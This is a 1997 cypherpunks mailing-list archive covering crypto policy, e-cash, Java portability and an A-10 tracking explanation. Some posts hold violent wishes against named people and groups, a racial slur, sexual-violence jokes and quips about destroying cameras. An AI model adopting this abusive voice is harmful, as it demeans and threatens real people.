From: azur@netcom.com (Steve Schear)
Date: Sat, 3 May 1997 23:24:46 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Layoffs at PGP
Message-ID: <v02140b02af91050db409@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


First ECache is seeking a qualified individual to head e-cash related
development.  Company is headquarted in Las Vegas, but candidate would
ideally be located in SV.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        "I know not what instruments others may use,
         but as for me, give me Ecache or give me debt."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Sun, 4 May 1997 00:04:08 +0800
To: cypherpunks@cyberpass.net
Subject: Flying - A-10 follow-up
Message-ID: <v02140b03af910e60e4d1@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


Date: Thu, 01 May 97 08:33:00 CDT
From: Corkum D Capt        2OSS/OSTC <corkumd@oss2.barksdale.af.mil>
Subject: Flying - A-10 follow-up

Corkum D Capt        2OSS/OSTC <corkumd@oss2.barksdale.af.mil>

"Both the A-10's transponder and the autopilot appeared to have been turned
off.  Perhaps there is a simple technical explanation why no one noticed
anything at first."

Let me try and fill in a few of the holes for non-flyers:

When aircraft fly in close formation typically only the lead aircraft has a
transponder turned on.  This is due to limitations with Air Traffic Control
(ATC) systems.  These systems are designed to prevent two aircraft from
getting too close together thereby preventing possible midair collisions.
Unfortunately the computers can't distinguish between aircraft that are on
a collision course and aircraft in formation that are intentionally close
together.  For this reason ATC operators often request wingmen to turn off
their transponders.

Once the A-10 dropped back he was not easily visible to the lead aircraft
who would be concentrating on entering the bombing range, working
coordination with ATC and the range controllers etc.  Inside the range ATC
no longer   maintains operational control of the aircraft and would not be
following any of the aircraft directly.

The first indication of the aircraft missing would be a failure of the
wingman to respond to a radio call.  When this happened it would first be
assumed that he was on the wrong frequency.  The lead aircraft would try to
find him on another frequency, then attempt to call him on the emergency
frequency "Guard".  When this failed the lead would likely assume that the
wingman had radio problems and would attempt to locate him visually. Only
after he failed to locate him visually would he begin to worry that
something happened.  His first   thought would be that the aircraft had a
major malfunction such as complete loss of electrical power, that forced
the pilot to abort the mission and return to base, but also prevented him
from calling to the lead aircraft.  The other
possibility would be that the aircraft was down due to pilot error or
aircraft malfunction.  The idea that the wingman simply took the aircraft
would likely never occur to the lead pilot.

The lead pilot at this point would abort his mission and attempt to
ascertain what happened to his wingman. He would contact ATC and ask if
they had  transponder track on the aircraft or reports of an aircraft down.
He would also perform a visual search of the area and attempt to call back
to the home base to see if they knew what happened.  By this time the rogue
pilot may have been gone for at least 30 minutes and was actually 200 miles
away.


The reason ATC could not track him is a technical issue.  Modern ATC radars
rely primarily on the aircraft transponder to provide location and altitude
information.  The actual radar returns "know as raw data" are only used as
a secondary means to track aircraft when their transponders have failed.
This must be performed manually since the computer has no way to
distinguish one radar return from another without the transponder.   This
method is only used when an ATC controller knows an aircraft transponder
has failed and must be
manually tracked.  Since the A-10 was not supposed to have his transponder
on, no-one would notice when he broke formation.  Only after the fact when
the FAA reviewed the taped radar returns were they able to piece together
the likely course of the A-10.

I hope this explained some of the more technical reasons for what happened.

David Corkum


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        "I know not what instruments others may use,
         but as for me, give me Ecache or give me debt."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 3 May 1997 21:54:32 +0800
To: cypherpunks@toad.com
Subject: Re: Artikel about XS4ALL in New York
In-Reply-To: <Pine.LNX.3.91.970502201705.1060E-100000@fatmans.demon.co.uk>
Message-ID: <quP56D21w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


[cc'd to freedom-knights, who don't appreciate censorship of mj web pages]

Paul Bradley <paul@fatmans.demon.co.uk> writes:

> > anarchists, bent on disrupting society," Rodriquez told the Dutch daily
> > Trouw. "But now they have come to see that we are nice and quiet people
> > really."
>
> The only "nice people" are dangerous anarchists bent on destroying
> governments and buggering poloticians to death. (last part a personal
> preference of course, the author is totally straight but would
> nonetheless be distinctly amused to see any government official
> butt-raped to death)

I, personally, would have to use a dildo.  Even if I were queer,
I wouldn't get it up for a politician or a Cabal supporter.

Yes, let's fuck Chris Lewis to death with a 27" dildo!!!1!!1!

> > The company was instrumental in the creation of the Amsterdam Digital
> > The hotline is run by Internet users and providers. Unlike Britain's
> > Internet Watch Foundation, the Dutch hotline doesn't censor any
> > information nor does it ask the provider to do so. Hotline operators
> > contact the author of the information and ask him to remove the
> > offending content.  "If the author does not comply, we report him to
> > the police, and he'll be prosecuted," said Rodriquez, who also is
> > chairman of the Dutch Providers Association.

Both asking the author to remove contents, and contacting the police
are dishonorable acts. Even if the US, honorable providers tell the
complainers: if it's something illegal, call the cops and leave us
out of it.

> > "The Internet Watch Foundation forces the provider to remove the
> > illegal content," he added. "This is a fundamentally different approach
> > to responsibilities on the Internet. We think the author of the
> > information is responsible for his own actions, not the provider."

I hope the IRA blows up these Internet Watch motherfuckers.
Is this Blair guy any saner than the tory bastards?

> And if he chooses not to remove the content you happen to find offensive?
> If you truly believed in the rights of the author and publisher of the
> information you would think about it before sending in your own
> particular brand of thugs to "crush the mutiny".

Perhaps we should further expose XS4ALL's hypocricy by renting from the
web space and putting up some pages they won't like.

> > Yet when violation of the law is flagrant, XS4ALL doesn't hesitate to
> > comply, as it did a few weeks ago when it shut down a customer's home
> > page called Neuroroom, which sold marijuana and other soft drugs in
> > Holland and abroad.
>
> Sometimes one really wonders why we bother to set up mirrors to allow
> freedom of information to users, when the owners of these servers,
> supposedly in favour of free speech, do not even have the strength of
> character or conviction to decide for themselves what they will allow on
> their servers rather than bending over for the long cock of the law...

The ISP is not a court to decide that a web page offering MJ for
sale is "illegal".

> > The company's commitment to support free expression and democratization
> > of the Internet doesn't stop here.
>
> As far as I can see it hasn`t even started yet.
>
> > Last fall when the Serbian
> > government censored radio station B-92, XS4ALL helped design an
> > Internet campaign and started to carry news broadcasts (in RealAudio
> > format) that kept the rare opposition voice alive and the international
> > public informed through independent accounts of the events occurring
> > during the mass demonstrations in Belgrade.
>
> I presume B-92 fell into line and matched the "requirements under law for
> obtaining a free-speech permit" before XS4ALL allowed this/

It's because Germans will gladly do anything to fuck over the Serbs.
I bet XS4All wouldn't host a web page for Karajic.

> > "Basically any project we like gets free resources from XS4ALL,"
> > Rodriquez commented.
>
> And anyone who guarantees to publicly lick the boots of the benevolent
> owners in thanks for their support gets as much free space as they like?
>
> Of course I believe in the right to free expression of anyone and if
> these thugs choose not to allow material they don`t like on their servers
> they have every right to remove it. I just don`t see that setting up
> mirrors to defeat blocks on sites that refuse to carry certain content is
> of any value in the fight for free speech. Sure, create a mirror of
> Radikal, but giving any credit or attribution to XS4ALL seems to be a
> poor choice.

My understanding is that Radikal is a harmless, toothless liberal rag
that the Germans had no grounds for censoring in the first place.
Mirroring it is no big deal. How about mirroring the MJ page that
the bastards at XS4ALL censored?

Actually, I don't think mirroring is a good technology either.
The "eternal server" posted a few days ago seems VERY VERY promising,
I'm very exited about this technology - many many thanks.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Banisar <banisar@epic.org>
Date: Sat, 3 May 1997 21:30:08 +0800
To: cypherpunks@toad.com
Subject: Conference on UK Crypto Initiative 19 May 1997
Message-ID: <v03020908af90e8aaa049@[204.91.138.76]>
MIME-Version: 1.0
Content-Type: text/plain



                    SCRAMBLING FOR SAFETY

       Privacy, security and commercial implications of
            the DTI's proposed encryption policy


                        May 19, 1997
             Computer Security Research Centre
               The London School of Economics


                        Organised by:

                    Privacy International
               Global Internet Liberty Campaign


    Chairman: Prof. Ian Angell, London School of Economics

On May 19, the Computer Security Research Centre of the London
School of Economics will host a one day meeting on the U.K.
Department of Trade and Industry's policy paper "Licensing of
Trusted Third Parties for the Provision of Encryption
Services," The event is being jointly organised by Privacy
International and the Global Internet Liberty Campaign.

The LSE meeting - the only public meeting during the
consultation phase - will comprehensively assess all aspects
of the governments proposal. Security specialists, academics
cryptographers, legal experts, cyber-rights groups, ISP's and
other commercial organisations will participate. The DTI and
representatives from other agencies will be in attendance for
the entire day.

There will be no cost for members of the public to attend.
An interactive audiocast on the Internet will also be available.

DRAFT AGENDA:

Introduction to cryptography

Welcome and opening remarks - Dr James Backhouse

Keynote
  - Geoffrey Robertson QC (invited)

The DTI proposals - presented by the DTI

Perspectives:

*	Legal and Commercial
          - Peter Sommer (LSE)  and Alistair Kelman (LSE)

*	Architectural and Technical
          - Dr. Whitfield Diffie, Sun Microsystems
          - Phil Zimmermann, PGP Inc.
          - Dr Ross Anderson, University of Cambridge
          - Dr. Carl Ellison, Cybercash

*	Civil Rights and Privacy
          - Simon Davies, Privacy International

*	International
          - OECD (invited)

Section by Section analysis of the document.

Wrapup (Around 3:30)


MORE INFORMATION

More information on the conference and the DTI initiative
is available from http://www.privacy.org/pi/conference/dti/.


REGISTRATION

To register for the conference, email Simon Davies at
davies@privacy.org.


ABOUT PRIVACY INTERNATIONAL

Privacy International was formed in 1990 as a watchdog on
surveillance by governments and corporations. With members in
more than 40 countries, it has created an international
movement that has helped to counter abuses of privacy by way
of information technology. Privacy International has conducted
campaigns in Europe, Asia and North America to raise awareness
about the dangers of ID card systems, military surveillance,
data matching, police information systems, and credit
reporting. It is based in London, UK, and is administered by
the Electronic Privacy Information Center (EPIC) in
Washington, D.C. Privacy International publishes a quarterly
newsletter (the International Privacy Bulletin) and organizes
conferences each year on privacy and technology. More information
is available at http://www.privacy.org/


ABOUT THE GLOBAL INTERNET LIBERTY CAMPAIGN

The Global Internet Liberty Campaign is an international
coalition of 28 human rights, free speech, cyber-liberties and
privacy groups that has come together to promote free speech
and privacy on the Internet. More information is available
at http://www.gilc.org/



-------
David Banisar (Banisar@epic.org)                *    202-544-9240 (tel)
Electronic Privacy Information Center           *    202-547-5482 (fax)
666 Pennsylvania Ave, SE, Suite 301             *    HTTP://www.epic.org
Washington, DC 20003    * PGP Key
http://www.epic.org/staff/banisar/key.html             






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: investigations.comv@angel.chico.joshuanet.com (by way of geeman <NOSPAM-geeman@best.com>)
Date: Sun, 4 May 1997 00:43:42 +0800
To: cypherpunks@algebra.com
Subject: ARE YOU BEING INVESTIGATED ????
Message-ID: <3.0.32.19970503092404.006c4a08@best.com>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Sun, 4 May 1997 04:24:40 +0800
To: Ernest Hua <declan@vorlon.mit.edu>
Subject: Re: FC: Responses to Tim May's criticism of SAFE, and a rebuttal
Message-ID: <199705032005.NAA29515@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:10 5/02/97 -0700, Ernest Hua wrote:
>    The NSA/FBI is NOT standing still while we are all bickering about
>    precisely which dotted-i and crossed-t to support.  They can, at
>    the stroke of Clinton's executive order pen, initiate effectively
>    THEIR law, while we must gather forces and summon Congress to jump
>    through enough hoops to pass effective legislation.
>
>In short, they can get what they want instantly, while we cannot
>except through a long and arduous process (during which they can throw
>many procedural and lobbying obstacles to slow us down).  The process
>is clearly in THEIR favor (and not without good reason), and we must
>face that fact.

Then let's force them to take that step, which (BTW) they haven't done
already.  They are well aware of the highly questionable constitutional
nature of such a system, and I'm sure they're worrying that not only would
such an executive order galvanize opposition to such a plan, it would also
delay for a year or two the perceived "need" for the legislation they
currently (and secretly) seek.  By the time the executive order is
overturned by the SC, it'll be too late to restore it as Congressional
legislation.

Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Sun, 4 May 1997 02:44:36 +0800
To: "cypherpunks" <banisar@epic.org>
Subject: Re: Conference on UK Crypto Initiative 19 May 1997
Message-ID: <199705031825.OAA27208@life.ai.mit.edu>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3954.1071713695.multipart/signed"

--Boundary..3954.1071713695.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit


 
>                    SCRAMBLING FOR SAFETY
>
>       Privacy, security and commercial implications of
>            the DTI's proposed encryption policy

Didn't the green paper automatically fall since the government 
which issued it is no longer in office. 

The DTI does not have the right to make a crypto policy, ministers
make policy, nor civil servants.

It might be worth seeing if the relevant new junior ministers could 
attend and turn it into a brainwashing erm briefing session.

Phill




--Boundary..3954.1071713695.multipart/signed
Content-Type: application/octet-stream; name="bin00000.bin"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="bin00000.bin"
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 4 May 1997 03:39:01 +0800
To: Bill Frantz <cypherpunks@toad.com
Subject: Re: digital cc transactions, digital checks vs real digital cash
In-Reply-To: <v0302091baf8fb7a1ebb2@[139.167.130.247]>
Message-ID: <v0302090aaf913bf8023e@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:10 am -0400 on 5/3/97, Bill Frantz wrote:


> At 10:07 AM -0700 5/2/97, Robert Hettinga wrote:
> >Yup. But the neat thing about them is they take pennies to clear, instead
> >of quarters for paper checks. The other thing is, they're peer-to-peer.
> >Credit cards aren't, remember? When was the last time you sold a car or
> >house and took MasterCard in payment. :-).
>
> Carlsen Subaru in Palo Alto has signs in their sales offices notifying
> people that their agreement with their bank prevents them from taking
> credit cards in payment for cars.

Hmmm. The operative concept in my paragraph was "peer-to-peer". I should
have put "personally" in the last sentence, in between "you" and "sold",
and it would have been much clearer.

By the way, back when I was pond scum in Morgan Stanley's cage in Chicago,
American Express Gold Cards had just come out. About the first month they
were out, a commodities trader showed up at a local Rolls dealership and
offered to pay for a brand new Corniche with one.

The sales manager smiled, said "Yes sir", went to the phone, called Amex,
and took the card.

Probably apocryphal, but, hey, it's a great story.

The point is, you and I can't take Amex when we sell our used Honda off our
driveway.  We do, however take a certified check or cash. When we can sell
our work over the net for checks and cash, the world better look out. :-).

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Sun, 4 May 1997 07:39:05 +0800
To: cypherpunks@cyberpass.net
Subject: Java woes on compatibility
Message-ID: <199705032325.QAA11796@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


in a recent "PC Magazine" the story went into the compatibility problems
among different vendors versions of the Java language, predicting that
the problems may become worse. in short the vendors have a hard time
getting all the compliance exactly correct.

unfortunately, this same story happened with Unix and C such that the
libraries out there did not fully adhere to a standard, even when the
standard went into meticulous detail. is it the same insurmountable
problem all over again? can there ever really be a totally portable
language? java was invented to solve portability problems, but is
plagued with the same ones that other languages have.

what's the solution? it hasn't been implemented yet, but I believe the
solution is an extremely sophisticated verification package for the
correctness of the Java language. this type of idea is hinted in the
makefiles of some C programs that compile based on complex attempts
to avoid/workaround portability glitches. I saw one that did many
regression tests on "strcpy" trying to catch all the kinds of things
that can go wrong.

the idea is that you actually have code that tests all the key implementation
aspects of the library and language. it needs to be capable of being fully
automated. for example, you might have code that calls the java 
window kit and then actually verifies that a window is drawn correctly
by reading the screen or something like this. if you find that some things
are falling through the tests, you just add to your tests. the tests
don't need to be efficient-- you run them once and never again.

also, I think the solution would involve writing a lot of verification
routines for *every* feature of java that is implemented. the vendors
simply run the code on their own implementation and it gives a "pass or
fail" response. ideally, the java *user* could go through this process--
then the company cannot claim themselves that their implementation pass
it's all out in the open for customers to test themselves.

I would suggest that anything in the Java language that can't be 
tested like this, could be modified slightly to support this 
"testable" property, and that it would really pay off bigtime. in other
words, some part of the library that doesn't seem like it could be 
tested, could have extra little aspects added to its implementation that
support regression testing of the feature. (note that this is not
necessarily "regression" in the classic sense of software engineering,
but is very similar).

I've written software that has this property, that its verification 
routines are built into it and are accessable by the end user. I think
it represents a major new and important design consideration. and ultimately
I think it saves developers and users time in the long run, but perhaps
not the short run.

a lot of work? yes, but it's the only way in my opinion, and it can be
done in an elegant way. if it isn't I believe that portability problems
will *increase* as the article predicted, and the revolutionary possibilities
of Java will be forever handicapped and shortchanged.

note that some people think that you should have a certification process.
I don't like this at all because then the verification tools are caught
up inside the Java company when it makes sense to *distribute* these tools
so vendors can debug their own software without going through a 
bureacracy to get the stamp of approval. the verification suite is actually
an extremely powerful utility that can test Java conformance and should
be available to anyone trying to support the standard.

note also that it wouldn't have to be Sun that creates such a package.
in fact it might be better if someone not affiliated with the creation
of the Java language built such a package.

if anyone from Java/Sun is listening, I would be happy to consult on this.
<g>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Sun, 4 May 1997 10:02:34 +0800
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: Java woes on compatibility
In-Reply-To: <199705032325.QAA11796@netcom13.netcom.com>
Message-ID: <v03102803af9180e5ea78@[17.219.103.113]>
MIME-Version: 1.0
Content-Type: text/plain


Vladimir Z. Nuri writes about Java compatibility:
>
>unfortunately, this same story happened with Unix and C such that the
>libraries out there did not fully adhere to a standard, even when the
>standard went into meticulous detail.

Actually, much of the meticulous C and Unix detail described the permitted
loopholes. For example, there is no definition of <newline>, which is 0x0D
<carriage return> on Mac, 0x0A <line feed> on Unix, both on DOS, and neither
on VMS (it's a record boundary in the simplest case, and don't ask about the
complex cases). Look, if VMS is "Posix-complient," which it is, it can't be
a really robust specification, no matter how meticulous.

Java goes into great detail to define floating-point representation,
to take one example, and the "end of line" sequence is a system parameter,
rather than a static character.

> is it the same insurmountable
>problem all over again? can there ever really be a totally portable
>language?

Yes, but it won't solve many interesting problems. Java is a good
balance between portability and capability.

>
>what's the solution? it hasn't been implemented yet, but I believe the
>solution is an extremely sophisticated verification package for the
>correctness of the Java language.

Check out the 100% pure program that you can download from JavaSoft.
Look at <http://www.javasoft.com/100percent/> Their static verification
package is free, along with a programming guide. (You have to pay for
dynamic testing and certification.)

> this type of idea is hinted in the
>makefiles of some C programs that compile based on complex attempts
>to avoid/workaround portability glitches.

Been there, done that (look for the Decus-CPP Preprocessor I did in the
mid 1980's, or my Lempel-Ziv implementation for VMS). Preventing problems
by design is a better approach.

>
>note that some people think that you should have a certification process.
>I don't like this at all because then the verification tools are caught
>up inside the Java company when it makes sense to *distribute* these tools
>so vendors can debug their own software without going through a
>bureacracy to get the stamp of approval. the verification suite is actually
>an extremely powerful utility that can test Java conformance and should
>be available to anyone trying to support the standard.

Again, the 100% pure test package is freely available. Sun does, however,
charge for stress testing, which runs the application on a number
of Java implementations.

>
>if anyone from Java/Sun is listening, I would be happy to consult on this.
><g>

Sun is hiring. Check out their web pages.

Martin.
minow@apple.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Banisar <banisar@epic.org>
Date: Sun, 4 May 1997 06:14:57 +0800
To: "Phillip M. Hallam-Baker" <cypherpunks@toad.com>
Subject: Re: Conference on UK Crypto Initiative 19 May 1997
In-Reply-To: <199705031825.OAA27208@life.ai.mit.edu>
Message-ID: <v0302090aaf91651fe4d4@[204.91.138.76]>
MIME-Version: 1.0
Content-Type: text/plain


The situation is very similar to here with the Clipper and digital
telephony bill - all the same staff members of the FBI, NSA, DOJ, NIST,
DOC, State etc remained after Clintons election and continued to push for
their surveillance agenda.

We are attempting to get the new ministers to attend but it may be too soon
for them to have officially selected them.

-dave

At 2:31 PM -0400 5/3/97, Phillip M. Hallam-Baker wrote:
>
>>                    SCRAMBLING FOR SAFETY
>>
>>       Privacy, security and commercial implications of
>>            the DTI's proposed encryption policy
>
>Didn't the green paper automatically fall since the government
>which issued it is no longer in office.
>
>The DTI does not have the right to make a crypto policy, ministers
>make policy, nor civil servants.
>
>It might be worth seeing if the relevant new junior ministers could
>attend and turn it into a brainwashing erm briefing session.
>
>Phill
>
>
>
>Content-Type: application/x-pkcs7-signature;
>	name="smime.p7s"
>Content-Disposition: attachment;
>	filename="smime.p7s"
>
>Attachment converted: Trouble 2:smime.p7s 1 (????/----) (00007C77)


-------
David Banisar (Banisar@epic.org)                *    202-544-9240 (tel)
Electronic Privacy Information Center           *    202-547-5482 (fax)
666 Pennsylvania Ave, SE, Suite 301             *    HTTP://www.epic.org
Washington, DC 20003    * PGP Key
http://www.epic.org/staff/banisar/key.html             






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 4 May 1997 06:46:32 +0800
To: cypherpunks@toad.com
Subject: Misdirected e-mail
In-Reply-To: <199705031052.GAA06973@lillith.anexis.com>
Message-ID: <3TF66D37w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


There's no "sdg@dm.com".  I don't know who this person is, but
I hope s/he gets 'eir misdirected message via this mailing list.

Date: Sat, 3 May 1997 06:52:58 -0400
Message-Id: <199705031052.GAA06973@lillith.anexis.com>
From: support@freesmut.com (Free Smut Support)
Subject:  Secret Site
Precedence: junk
Apparently-To: <sdg@dm.com>

Thank you, your username and password to our secret hardcore door are:

 Username: smut12
 Password: freesmut

 This is an automated response to a request made on our web site. This IS NOT
 a bulk mailing. Our site is located at http://www.fl.freesmut.com/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sun, 4 May 1997 08:23:31 +0800
To: NOSPAM-geeman@best.com (geeman)
Subject: Re: Privacy news: Oakland Cameras, Levi employee files,
In-Reply-To: <3.0.32.19691231160000.006ae0c4@best.com>
Message-ID: <199705040009.TAA04680@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> have an effect on people's behavior with respect to what they say, whom
> they associate with, 
> the clothes they wear, the thoughts they think...
> How do you hack a camera?

	I'd suggest a small laser.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 4 May 1997 23:14:18 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Artikel about XS4ALL in New York
In-Reply-To: <quP56D21w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.91.970503184757.687A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > The only "nice people" are dangerous anarchists bent on destroying
> > governments and buggering poloticians to death. (last part a personal
> > preference of course, the author is totally straight but would
> > nonetheless be distinctly amused to see any government official
> > butt-raped to death)
> 
> I, personally, would have to use a dildo.  Even if I were queer,
> I wouldn't get it up for a politician or a Cabal supporter.

This I can fully understand.

> > > "The Internet Watch Foundation forces the provider to remove the
> > > illegal content," he added. "This is a fundamentally different approach
> > > to responsibilities on the Internet. We think the author of the
> > > information is responsible for his own actions, not the provider."
> 
> I hope the IRA blows up these Internet Watch motherfuckers.

If I don`t get there first...

> Is this Blair guy any saner than the tory bastards?

Calling any democratic polotician, especially in the UK, sane, is a big 
mistake. However, if we may rephrase and ask if he is any less deranged 
we can safely answer "no".

I heard a wonderful comment on the cryptography@c2 list earlier that Jack 
Straw (the new Labour home secretary, who is in charge of law and order) 
may be defined as the only person for whom anal sex with michael howard 
(his predecessor) counts as masturbation. They both even look deranged 
(Michael Howard looked rather like a serial killer and jack straw looks 
like a church reject). I don`t know about crypto policy, Labour are 
supposed to be opposed to mandatory GAK but this is of course a small 
issue when put in perspective. The new labour administration are a group 
of anti-drugs, anti-"crime" misfits who I hope go the same way as the 
previous leader of the labour party, John Smith, who died of a heart attack.

Just to give you some overview of the fuck ups we now have governing the 
UK I present a list of proposals Tony Blair and his motley crew have made in 
the last year:

Mandatory minimum sentencing for repeat offenders regardless of the 
opinion of the judge.

State set curfews for all children under 16 regardless of their parents 
wishes.

Parents to be held responsible for the crimes of their children if the 
children repeat offend.

Several vague allusions towards internet censorship schemes or mandatory 
web page rating using PICS.

Minimum wage for full time employees, regardless of the empolyees skills 
or the wishes of the employer.

Further action to prevent "bias" and "discrimination" in the workplace, 
eg. "Employ this unskilled bone idle coon and we`ll lower your 
corporation tax 2%"

Further plans for yet more CCTV cameras in public places.

Mandatory ID cards for citizens (This one sounds like a joke, believe me 
it is not).

A ban on all handguns even when registered (currently all pistols above 
.22 are banned and all guns have to be registered in a process whereby if 
the applicant for a certificate has any history of political dissention 
or crime (eg. Smoking a joint, the ultimate sin against society) the 
certificate will be refused.

Yet more spending on welfare to support the pieces of shit in the gutter 
I pass every day.



> > And if he chooses not to remove the content you happen to find offensive?
> > If you truly believed in the rights of the author and publisher of the
> > information you would think about it before sending in your own
> > particular brand of thugs to "crush the mutiny".
> 
> Perhaps we should further expose XS4ALL's hypocricy by renting from the
> web space and putting up some pages they won't like.

I think this is an excellent idea, I`ll call or mail them in a few days 
to find out their pricing structure.


> > > Yet when violation of the law is flagrant, XS4ALL doesn't hesitate to
> > > comply, as it did a few weeks ago when it shut down a customer's home
> > > page called Neuroroom, which sold marijuana and other soft drugs in
> > > Holland and abroad.
> >
> > Sometimes one really wonders why we bother to set up mirrors to allow
> > freedom of information to users, when the owners of these servers,
> > supposedly in favour of free speech, do not even have the strength of
> > character or conviction to decide for themselves what they will allow on
> > their servers rather than bending over for the long cock of the law...
> 
> The ISP is not a court to decide that a web page offering MJ for
> sale is "illegal".

Absolutely, besides which, even though I believe in the right of people 
to be as bigotted and statist as they see fit, there are only so many 
causes we can support and coming in on the side of XS4ALL knowing their 
record seems ill advised to me. If they truly deserved our support they 
would retain the pages whether they were legal or not.

> > > "Basically any project we like gets free resources from XS4ALL,"
> > > Rodriquez commented.
> >
> > And anyone who guarantees to publicly lick the boots of the benevolent
> > owners in thanks for their support gets as much free space as they like?
> >
> > Of course I believe in the right to free expression of anyone and if
> > these thugs choose not to allow material they don`t like on their servers
> > they have every right to remove it. I just don`t see that setting up
> > mirrors to defeat blocks on sites that refuse to carry certain content is
> > of any value in the fight for free speech. Sure, create a mirror of
> > Radikal, but giving any credit or attribution to XS4ALL seems to be a
> > poor choice.
> 
> My understanding is that Radikal is a harmless, toothless liberal rag
> that the Germans had no grounds for censoring in the first place.
> Mirroring it is no big deal. How about mirroring the MJ page that
> the bastards at XS4ALL censored?

I actually went to the page once, nearly brought some bud but as I recall 
they didn`t have an SSL link so I chose not to transmit my CCN.

I don`t have a copy, but if XS4ALL have any balls at all they will send 
us a copy. I`ll get onto them about this later.

> Actually, I don't think mirroring is a good technology either.
> The "eternal server" posted a few days ago seems VERY VERY promising,
> I'm very exited about this technology - many many thanks.

No, it isn`t really but was, for all intents and purposes, the best we 
had. I haven`t yet seen the eternal server idea but I`ll trawl the 
archives for it.


Paul "Can`t really be bothered to re-do his .sig file yet" Bradley





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sun, 4 May 1997 09:06:58 +0800
To: tcmay@got.net (Tim May)
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <v03007803af8e70131a67@[207.167.93.63]>
Message-ID: <199705040016.TAA04707@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> --Tim May, still a felon, and still using encryption to further
> prosecutable offenses. Fuck Congress.
> 
	Sorry, I don't like sloppy seconds...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 4 May 1997 09:31:44 +0800
To: snow <snow@smoke.suba.com>
Subject: Re: Privacy news: Oakland Cameras, Levi employee files,
In-Reply-To: <199705040009.TAA04680@smoke.suba.com>
Message-ID: <199705040108.UAA13032@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199705040009.TAA04680@smoke.suba.com>, on 05/03/97 at 06:09 PM,
   snow <snow@smoke.suba.com> said:


>> have an effect on people's behavior with respect to what they say, whom
>> they associate with, 
>> the clothes they wear, the thoughts they think...
>> How do you hack a camera?

>	I'd suggest a small laser.

I prefer the low-tech approach: a big rock. :)

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
